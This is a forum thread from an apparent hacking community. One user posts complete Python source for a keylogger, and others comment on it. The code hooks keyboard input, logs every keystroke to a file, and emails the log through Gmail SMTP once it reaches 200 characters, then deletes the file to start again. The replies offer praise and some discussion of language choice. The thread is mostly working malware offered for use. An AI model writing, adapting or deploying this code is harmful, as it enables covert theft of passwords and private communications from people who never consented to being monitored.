EvilZone
Programming and Scripting => Scripting Languages => : xenophilius August 02, 2013, 08:55:24 AM
-
this is a python keylogger that records keystrokes and sends a log of 200 words to a mailing address.
#download necesssry modules
import pythoncom, pyHook
def OnKeyboardEvent(event):
global text
global lngth
if event.KeyID == 13:
text = '''
'''
elif event.KeyID == 165:
text = '[alt]'
elif event.KeyID == 8:
text = '[bckspc]'
elif event.KeyID == 46:
text = '[dlt]'
elif event.KeyID == 160:
text = '[lshft]'
elif event.KeyID == 161:
text = '[rshft]'
elif event.KeyID == 38:
text ='[up]'
elif event.KeyID == 39:
text = '[rght]'
elif event.KeyID == 37:
text ='[lft]'
elif event.KeyID ==40:
text = '[dwn]'
else:
text = chr(event.Ascii)
#creates a .txt file, registers logs
logger = open('logs.txt', 'a')
logger.write(text)
logger.close()
d = open('logs.txt', 'r')
data = d.read()
d.close()
#counts number of characters
lngth=len(data)
#when 200 words is exceeded email is sent
if lngth >= 200:
import smtplib
fromaddr = 'sender@gmail.com'
toaddrs = 'receiver@gmail.com'
msg = data
username = 'sender@gmail.com'
password = 'password'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
#example included for a gmail account
import os
#deletes logs after sending and recreates another file
os.remove('logs.txt')
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
-
Nice , been wanting to code some like this for a while.
Your wrote it yourself ?
-
Although I've done it myself.... Python is not for keyloggers. Unless maybe a web based logger, but even then it wont be necessarily keystrokes your after.
Good on yeah for learning, but subject dictates everything. The language is the tool. We don't hammer nails with screwdrivers. We build self tapping screws.
-
Your wrote it yourself ?
yeah i wrote it myself and used the example code of pyHook to get started.
-
Good on yeah for learning, but subject dictates everything. The language is the tool. We don't hammer nails with screwdrivers. We build self tapping screws.
This is one of the best quotes I have seen!
-
I just posted a keylogger and now I read this.
I feel like an idiot.
Props to you because you actually wrote it!